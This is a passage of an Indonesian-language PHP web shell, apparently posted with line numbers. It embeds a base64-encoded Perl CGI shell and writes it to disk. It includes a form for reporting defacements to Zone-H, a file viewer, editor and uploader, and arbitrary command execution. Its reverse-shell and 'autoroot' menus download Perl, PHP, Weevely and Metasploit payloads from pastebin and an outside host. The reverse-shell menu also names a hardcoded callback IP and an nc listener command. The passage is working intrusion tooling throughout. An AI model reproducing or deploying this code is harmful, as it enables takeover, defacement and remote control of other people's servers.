S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9ICRpbnsnYyd9OwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7CiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQokUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSIgaWYoJFJ1bkNvbW1hbmQgZXEgIiIpOwpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7CgokTG9nZ2VkSW4gPSAkQ29va2llc3snU0FWRURQV0QnfSBlcSAkUGFzc3dvcmQ7CgppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgCQkjIHVzZXIgbmVlZHMvaGFzIHRvIGxvZ2luCnsKCSZQZXJmb3JtTG9naW47Cn1lbHNpZigkQWN0aW9uIGVxICJndWkiKSAjIEdVSSBkaXJlY3RvcnkKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCEkV2luTlQpCgl7CgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCWlmKCEoJGNobW9kIGVxIDApKQoJCXsKCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOwoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJCQljaG9wKCRyZXN1bHQ9IGBjaG1vZCAkY2htb2QgIiRmaWxlImApOwoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoISRyZW5hbWUgZXEgIiIpCgl7CgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpCgkJewoJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJfWVsc2UKCQl7CgkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJfQoJfQoJJHJlbW92ZT0kaW57J3JlbW92ZSd9OwoJaWYoJHJlbW92ZSBuZSAiIikKCXsKCQkkcm0gPSAkQ3VycmVudERpci4kUGF0aFNlcC4kcmVtb3ZlOwoJCWlmKC1kICRybSkKCQl7CgkJCSZSbURpcigkcm0pOwoJCX1lbHNlCgkJewoJCQlpZih1bmxpbmsoJHJtKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CQkJCgkJfQoJfQoJcHJpbnQgJkxpc3REaXI7Cgp9CmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKQkJCQkgCSMgdXNlciB3YW50cyB0byBydW4gYSBjb21tYW5kCnsKCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCXByaW50ICZFeGVjdXRlQ29tbWFuZDsKfQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpCgl7CgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJfWVsc2UKCXsKCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJfQoJcHJpbnQgJkxpc3REaXI7Cn0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgCQkJCQkjIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoKCXByaW50ICZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJhY2tiaW5kIikgCQkJCSMgdXNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=';
  3574. $file = fopen("cgi2012.izo" ,"w+");
  3575. $write = fwrite ($file ,base64_decode($cgi2012));
  3576. fclose($file);
  3577. chmod("cgi2012.izo",0755);
  3578. echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
  3579. </div>"; }
  3580. elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){?>
  3581. <form action="?y=<?php echo $pwd; ?>&amp;x=zone-h" method="post">
  3582. <br><br><? echo '<p style="text-align: center;"> <img alt="" src="http://www.zone-h.org/images/logo.gif" style="width: 261px; height: 67px;" /></p>
  3583. <center><span style="font-size:1.6em;"> .: Notifier :. </span></center><center><form action="" method="post"><input class="inputz" type="text" name="defacer" size="67" value="Aerul Da White-Hkc" /><br> <select class="inputz" name="hackmode">
  3584. <option>------------------------------------SELECT-------------------------------------</option>
  3585. <option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option>
  3586. <option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option>
  3587. <option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option>
  3588. <option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option>
  3589. <option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option>
  3590. <option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option>
  3591. <option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option>
  3592. <option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option>
  3593. <option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option>
  3594. <option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option>
  3595. <option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option>
  3596. <option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option>
  3597. <option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option>
  3598. <option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option>
  3599. <option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option>
  3600. <option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option>
  3601. <option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option>
  3602. <option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option>
  3603. <option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option>
  3604. <option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option>
  3605. <option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option>
  3606. <option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option>
  3607. <option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option>
  3608. <option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option>
  3609. <option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option>
  3610. <option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option>
  3611. <option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option>
  3612. <option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option>
  3613. <option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option>
  3614. <option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option>
  3615. option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
  3616. </select> <br>
  3617. <select class="inputz" name="reason">
  3618. <option >------------------------------------SELECT-------------------------------------</option>
  3619. <option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option>
  3620. <option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option>
  3621. <option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option>
  3622. <option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option>
  3623. <option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option>
  3624. <option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option>
  3625. <option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option>
  3626. option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
  3627. </select> <br>
  3628. <textarea class="inputz" name="domain" cols="90" rows="20" >List Of Domains, 20 Rows.</textarea><br>
  3629. <input class="inputz" type="submit" value=" Send Now !! " name="SendNowToZoneH"/>
  3630. </form>'; ?>
  3631. <?
  3632. echo "</form></center>";?>
  3633. <?
  3634. function ZoneH($url, $hacker, $hackmode,$reson, $site )
  3635. {
  3636. $k = curl_init();
  3637. curl_setopt($k, CURLOPT_URL, $url);
  3638. curl_setopt($k,CURLOPT_POST,true);
  3639. curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  3640. curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  3641. curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  3642. $kubra = curl_exec($k);
  3643. curl_close($k);
  3644. return $kubra;
  3645. }
  3646. {
  3647. ob_start();
  3648. $sub = @get_loaded_extensions();
  3649. if(!in_array("curl", $sub))
  3650. {
  3651. die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
  3652. }
  3653. $hacker = $_POST['defacer'];
  3654. $method = $_POST['hackmode'];
  3655. $neden = $_POST['reason'];
  3656. $site = $_POST['domain'];
  3657. if (empty($hacker))
  3658. {
  3659. die ("<center><b>[+] YOU MUST FILL THE ATTACKER NAME [+]</b></center>");
  3660. }
  3661. elseif($method == "--------SELECT--------")
  3662. {
  3663. die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
  3664. }
  3665. elseif($neden == "--------SELECT--------")
  3666. {
  3667. die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
  3668. }
  3669. elseif(empty($site))
  3670. {
  3671. die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
  3672. }
  3673. $i = 0;
  3674. $sites = explode("\n", $site);
  3675. while($i < count($sites))
  3676. {
  3677. if(substr($sites[$i], 0, 4) != "http")
  3678. {
  3679. $sites[$i] = "http://".$sites[$i];
  3680. }
  3681. ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
  3682. echo "Domain : ".$sites[$i]." Defaced Last Years !";
  3683. ++$i;
  3684. }
  3685. echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !!![+]";
  3686. }
  3687. ?>
  3688. <?php }
  3689.  
  3690.  
  3691. /////////////////////////////////////////////////
  3692. elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo'))
  3693. {
  3694. @ob_start();
  3695. @eval("phpinfo();");
  3696. $buff = @ob_get_contents();
  3697. @ob_end_clean();
  3698. $awal = strpos($buff,"<body>")+6;
  3699. $akhir = strpos($buff,"</body>");
  3700. echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
  3701. }
  3702. /////////////////////////////////////////////////
  3703. elseif(isset($_GET['view']) && ($_GET['view'] != ""))
  3704. {
  3705. if(is_file($_GET['view']))
  3706. {
  3707. if(!isset($file)) $file = magicboom($_GET['view']);
  3708. if(!$win && $posix)
  3709. {
  3710. $name=@posix_getpwuid(@fileowner($file));
  3711. $group=@posix_getgrgid(@filegroup($file));
  3712. $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  3713. }
  3714. else { $owner = $user; }
  3715. $filn = basename($file);
  3716. echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
  3717. <tr>
  3718. <td>Filename</td>
  3719. <td>
  3720. <span id=\"".clearspace($filn)."_link\">".$file."</span>
  3721. <form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  3722. <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
  3723. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
  3724. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  3725. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  3726. onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
  3727. </form>
  3728. </td>
  3729. </tr>
  3730. <tr>
  3731. <td>Size</td>
  3732. <td>".ukuran($file)."</td>
  3733. </tr>
  3734. <tr>
  3735. <td>Permission</td>
  3736. <td>".get_perms($file)."</td>
  3737. </tr>
  3738. <tr>
  3739. <td>Owner</td>
  3740. <td>".$owner."</td>
  3741. </tr>
  3742. <tr>
  3743. <td>Create time</td>
  3744. <td>".date("d-M-Y H:i",@filectime($file))."</td>
  3745. </tr>
  3746. <tr>
  3747. <td>Last modified</td>
  3748. <td>".date("d-M-Y H:i",@filemtime($file))."</td>
  3749. </tr>
  3750. <tr>
  3751. <td>Last accessed</td>
  3752. <td>".date("d-M-Y H:i",@fileatime($file))."</td>
  3753. </tr>
  3754. <tr>
  3755. <td>Actions</td>
  3756. <td><a href=\"?y=$pwd&amp;edit=$file\">edit</a>
  3757. | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a>
  3758. | <a href=\"?y=$pwd&amp;delete=$file\">delete</a>
  3759. | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gz</a>)
  3760. </td>
  3761. </tr>
  3762. <tr>
  3763. <td>View</td>
  3764. <td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a>
  3765. | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a>
  3766. | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">img</a>
  3767. </td>
  3768. </tr>
  3769. </table> ";
  3770. if(isset($_GET['type']) && ($_GET['type']=='image'))
  3771. { echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>"; }
  3772. elseif(isset($_GET['type']) && ($_GET['type']=='code'))
  3773. { echo "<div class=\"viewfile\">"; $file = wordwrap(@file_get_contents($file),"240","\n"); @highlight_string($file); echo "</div>"; }
  3774. else { echo "<div class=\"viewfile\">"; echo nl2br(htmlentities((@file_get_contents($file)))); echo "</div>"; }
  3775. }
  3776. elseif(is_dir($_GET['view'])){ echo showdir($pwd,$prompt); }
  3777. }
  3778. elseif(isset($_GET['edit']) && ($_GET['edit'] != ""))
  3779. {
  3780. if(isset($_POST['save']))
  3781. {
  3782. $file = $_POST['saveas'];
  3783. $content = magicboom($_POST['content']);
  3784. if($filez = @fopen($file,"w"))
  3785. {
  3786. $time = date("d-M-Y H:i",time());
  3787. if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
  3788. else $msg = "failed to save"; @fclose($filez);
  3789. }
  3790. else $msg = "permission denied";
  3791. }
  3792. if(!isset($file)) $file = $_GET['edit'];
  3793. if($filez = @fopen($file,"r"))
  3794. {
  3795. $content = "";
  3796. while(!feof($filez))
  3797. {
  3798. $content .= htmlentities(str_replace("''","'",fgets($filez)));
  3799. }
  3800. @fclose($filez);
  3801. } ?>
  3802. <form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
  3803. <table class="cmdbox">
  3804. <tr>
  3805. <td colspan="2">
  3806. <textarea class="output" name="content"> <?php echo $content; ?> </textarea>
  3807. </td>
  3808. <tr>
  3809. <td colspan="2">Save as <input onMouseOver="" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
  3810. <input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php echo $msg; ?>
  3811. </td>
  3812. </tr>
  3813. </table>
  3814. </form>
  3815. <?php
  3816. }
  3817. elseif(isset($_GET['x']) && ($_GET['x'] == 'upload'))
  3818. {
  3819. if(isset($_POST['uploadcomp']))
  3820. {
  3821. if(is_uploaded_file($_FILES['file']['tmp_name']))
  3822. {
  3823. $path = magicboom($_POST['path']);
  3824. $fname = $_FILES['file']['name'];
  3825. $tmp_name = $_FILES['file']['tmp_name'];
  3826. $pindah = $path.$fname;
  3827. $stat = @move_uploaded_file($tmp_name,$pindah);
  3828. if ($stat) { $msg = "file uploaded to $pindah"; }
  3829. else $msg = "failed to upload $fname";
  3830. }
  3831. else $msg = "failed to upload $fname";
  3832. }
  3833. elseif(isset($_POST['uploadurl']))
  3834. {
  3835. $pilihan = trim($_POST['pilihan']);
  3836. $wurl = trim($_POST['wurl']);
  3837. $path = magicboom($_POST['path']);
  3838. $namafile = download($pilihan,$wurl);
  3839. $pindah = $path.$namafile;
  3840. if(is_file($pindah)) { $msg = "file uploaded to DIR $pindah"; }
  3841. else $msg = "failed ! to upload $namafile"; }
  3842. ?>
  3843. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  3844. <table class="tabnet" style="width:320px;padding:0 1px;">
  3845. <tr>
  3846. <th colspan="2">Upload from computer</th>
  3847. </tr>
  3848. <tr>
  3849. <td colspan="2">
  3850. <p style="text-align:center;">
  3851. <input style="color:#000000;" type="file" name="file" />
  3852. <input type="submit" name="uploadcomp" class="inputzbut" value="Go !" style="width:80px;">
  3853. </p>
  3854. </td>
  3855. </tr>
  3856. <tr>
  3857. <td colspan="2">
  3858. <input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" />
  3859. </td>
  3860. </tr>
  3861. </table>
  3862. </form>
  3863. <table class="tabnet" style="width:320px;padding:0 1px;">
  3864. <tr>
  3865. <th colspan="2">Upload from url</th>
  3866. </tr>
  3867. <tr>
  3868. <td colspan="2">
  3869. <form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  3870. <table>
  3871. <tr>
  3872. <td>url</td>
  3873. <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td>
  3874. </tr>
  3875. <tr>
  3876. <td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td>
  3877. </tr>
  3878. <tr>
  3879. <td>
  3880. <select size="1" class="inputz" name="pilihan">
  3881. <option value="wwget">wget</option>
  3882. <option value="wlynx">lynx</option>
  3883. <option value="wfread">fread</option>
  3884. <option value="wfetch">fetch</option>
  3885. <option value="wlinks">links</option>
  3886. <option value="wget">GET</option>
  3887. <option value="wcurl">curl</option>
  3888. </select>
  3889. </td>
  3890. <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go !" style="width:246px;"></td>
  3891. </tr>
  3892. </table>
  3893. </form>
  3894. </td>
  3895. </tr>
  3896. </table>
  3897. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  3898. <?php }
  3899.  
  3900.  
  3901. ///////////////////////////////////////////////////////
  3902. elseif(isset($_GET['x']) && ($_GET['x'] == 'backconnect'))
  3903. {
  3904. ?>
  3905. <center><br><br><b>+--=[ Backconnect Reverse Shell ]=--+</b><br>
  3906. <form method="post" action="">
  3907. <table class="tabnet" border="1" >
  3908. <tr>
  3909. <td align="center">Choose Backconnect</td><td align="center">Command</td>
  3910. </tr>
  3911. <tr>
  3912. <td><form method="post" action="">&nbsp;
  3913. Pilih => &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  3914. <select class="inputzbut" name="pilih" id="pilih">
  3915. <option value="back1" > Perl Backconnect </option>
  3916. <option value="back2"> Php Backconnect </option>
  3917. <option value="back3"> Weevely </option>
  3918. <option value="back4"> Php Metasploit </option>
  3919. </select>
  3920. <input type="submit" name="submit" class="inputzbut" value="Create">
  3921. <br>
  3922. <br>
  3923. <br>edit pada source script back.pl
  3924. <br>my $ip = '222.255.167.45'; // CHANGE THIS
  3925. <br>my $port = '57899'; // CHANGE THIS
  3926. <br> <br>
  3927. <br>edit pada source script back.php
  3928. <br>$ip = '222.255.167.45'; // CHANGE THIS
  3929. <br>$port = 57899; // CHANGE THIS
  3930. <br>
  3931. <br>edit pada source script back.pl
  3932. <br>my $ip = '222.255.167.45'; // CHANGE THIS
  3933. <br>my $port = '57899'; // CHANGE THIS
  3934. <br>
  3935. <br>edit pada source script meter.php
  3936. <br>$ip = '222.255.167.45'; // CHANGE THIS
  3937. <br>$port = 57899; // CHANGE THIS
  3938. <br>
  3939. <br>usage : nc -lvvp 57899
  3940. </td>
  3941. </form>
  3942.  
  3943. <td>
  3944. <table class="cmdbox">
  3945. <tr>
  3946. <textarea style='background:black;outline:none;' name='cmd' rows='12' cols='67'>
  3947. <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
  3948. </td>
  3949. </tr>
  3950. <tr>
  3951. <td colspan="2"><?php echo $prompt; ?>
  3952. <input onMouseOver="" id="cmd" class="inputz" type="text" name="cmd" value="perl back.pl" /><center><br>
  3953. <input class="inputzbut" type="submit" value="Execute" name="submitcmd" />
  3954. </td>
  3955. </tr>
  3956. </table></center>
  3957. </form> </td></tr></table><br><br>
  3958. <?php
  3959. $submit = $_POST ['submit'];
  3960. if(isset($submit)) {
  3961. $pilih = $_POST['pilih'];
  3962. if ( $pilih == 'back1') {
  3963. $file = file_get_contents('http://pastebin.com/raw.php?i=aBHs2nWR');
  3964. $IIIIIIIIl11I = fopen('back.pl','w');
  3965. chmod("back.pl",0755);
  3966. fwrite($IIIIIIIIl11I,$file);
  3967. fclose($IIIIIIIIl11I);
  3968. print '<br>
  3969. <center><blink><b>Backconnect telah diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="back.pl" target="_blank"> back.pl</a> ] </b></center>';
  3970. }
  3971. elseif ( $pilih == 'back2') {
  3972. $file = file_get_contents('http://pastebin.com/raw.php?i=mGSK1EEa');
  3973. $IIIIIIIIl11I = fopen('back.php','w');
  3974. chmod("back.php",0755);
  3975. fwrite($IIIIIIIIl11I,$file);
  3976. fclose($IIIIIIIIl11I);
  3977. print '<br>
  3978. <center><blink><b>Backconnect telah diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="back.php" target="_blank"> back.php</a> ] </b></center>';
  3979. }
  3980.  
  3981. elseif ( $pilih == 'back3') {
  3982. $file = file_get_contents('http://pastebin.com/raw.php?i=ctQsPjpn');
  3983. $IIIIIIIIl11I = fopen('wy.php','w');
  3984. chmod("wy.php",0755);
  3985. fwrite($IIIIIIIIl11I,$file);
  3986. fclose($IIIIIIIIl11I);
  3987. print '<br>
  3988. <center><blink><b>Weevely telah diluncurkan Boss.... <br>usage : weevely http://site.com/wy.php aerulcyber <br><br>[ <a href="wy.php" target="_blank"> wy.php</a> ] </b></center>';
  3989. }
  3990.  
  3991. elseif ( $pilih == 'back4') {
  3992. $file = file_get_contents('http://pastebin.com/raw.php?i=gtTLMyya');
  3993. $IIIIIIIIl11I = fopen('meter.php','w');
  3994. chmod("meter.php",0755);
  3995. fwrite($IIIIIIIIl11I,$file);
  3996. fclose($IIIIIIIIl11I);
  3997. print '<br>
  3998. <center><blink><b>Tools telah diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="meter.php" target="_blank"> meter.php</a> ] </b></center>';
  3999. }
  4000.  
  4001. }
  4002.  
  4003. }
  4004. //////////////////////////////////////////////////////////////////
  4005. elseif(isset($_GET['x']) && ($_GET['x'] == 'autoroot'))
  4006. {
  4007. ?>
  4008. <center><br><br><b>+--=[ Autoroot Perl ]=--+</b><br>
  4009. <form method="post" action="">
  4010. <table class="tabnet" border="1" >
  4011. <tr>
  4012.  
  4013. <td><form method="post" action="">&nbsp;
  4014. Pilih => &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  4015. <select class="inputzbut" name="pilih" id="pilih">
  4016. <option value="autoroot1" > Perl autoroot1 </option>
  4017. <option value="autoroot2"> Perl autoroot2 </option>
  4018. </select>
  4019. <input type="submit" name="submit" class="inputzbut" value="Create">
  4020. <br>
  4021. <br>
  4022. </td>
  4023. </form>
  4024.  
  4025. </td></tr></table><br><br>
  4026. <?php
  4027. $submit = $_POST ['submit'];
  4028. if(isset($submit)) {
  4029. $pilih = $_POST['pilih'];
  4030. if ( $pilih == 'autoroot1') {
  4031. mkdir('auto',0777);
  4032. $file = file_get_contents('http://svchost.nazuka.net/a.txt');
  4033. $IIIIIIIIl11I = fopen('auto/auto.pl','w');
  4034. chmod("auto/auto.pl",0777);
  4035. fwrite($IIIIIIIIl11I,$file);
  4036. fclose($IIIIIIIIl11I);
  4037. print '<br>
  4038. <center><blink><b>autoroot telah diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="auto/auto.pl" target="_blank"> auto.pl</a> ] </b></center>';
  4039. }
  4040. elseif ( $pilih == 'autoroot2') {
  4041. $file = file_get_contents('http://svchost.nazuka.net/b.txt');
  4042. $IIIIIIIIl11I = fopen('auto/auto2.pl','w');
  4043. chmod("auto/auto2.pl",0755);
  4044. fwrite($IIIIIIIIl11I,$file);
  4045. fclose($IIIIIIIIl11I);
  4046. print '<br>
  4047. <center><blink><b>autoroot2 telah diluncurkan Boss.... <br> Done !!</blink><br><br>[ <a href="auto/auto2.pl" target="_blank"> auto2.pl</a> ] </b></center>';
  4048.  
  4049. }
  4050.  
  4051. }
  4052.  
  4053. }
  4054. //////////////////////////////////////////////////////////////////
  4055. elseif(isset($_GET['x']) && ($_GET['x'] == 'shell'))
  4056. {
  4057. ?>
  4058. <form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
  4059. <table class="cmdbox">
  4060. <tr>
  4061. <td colspan="2">
  4062. <textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']); } ?> </textarea>
  4063. </td>
  4064. </tr>
  4065. <tr>
  4066. <td colspan="2"><?php echo $prompt; ?>
  4067. <input onMouseOver="" id="cmd" class="inputz" type="text" name="cmd" style="width:100%;" value="" />
  4068. <input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" />
  4069. </td>
  4070. </tr>
  4071. </table>
  4072. </form> <?php
  4073. }
  4074. else
  4075. {
  4076. if(isset($_GET['delete']) && ($_GET['delete'] != ""))
  4077. {
